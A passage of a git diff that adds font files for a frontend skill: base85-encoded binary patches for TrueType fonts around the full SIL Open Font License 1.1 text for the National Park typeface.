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 Di?Po# literal 0 HcmV?d00001 diff --git a/skills/frontend-dev/canvas-fonts/NationalPark-OFL.txt b/skills/frontend-dev/canvas-fonts/NationalPark-OFL.txt new file mode 100644 index 0000000..f4ec3fb --- /dev/null +++ b/skills/frontend-dev/canvas-fonts/NationalPark-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2025 The National Park Project Authors (https://github.com/benhoepner/National-Park) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/frontend-dev/canvas-fonts/NationalPark-Regular.ttf b/skills/frontend-dev/canvas-fonts/NationalPark-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..e4cbfbf5eb9569b2f0bcfe2f55ea1625123fc14c GIT binary patch literal 76424 zcmd4434ByV);C;Lx0iIM)16Ky=_DkflR(0fgzO>g*~1pLKmb7r5H>@C2?*kbxQx4w z+n|GpyW=*FGJuMTiV7}>3@#ul;*N?tZjgTe=iJ*%AUe)7@AG|c*RSf<Jymt;)T!;% zsk+rd3L&E5n1raUs;*hJ^Spb7P<@1u7uAj*H|eMHdv^&j@@gUS?x>wKxnkkT14jvw z9xa5UecYr01*@-VJc78}fo0aDhVq6Le{OjP@3ZipJ7;mzlDO*|W((omEQB>?epAO1 z$_?SMct*@`Ib+_3_ubxKh?PY`Jk+qDxoK|SZw`YJiTp�stbat+(KP2;O@wSiE$_ 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 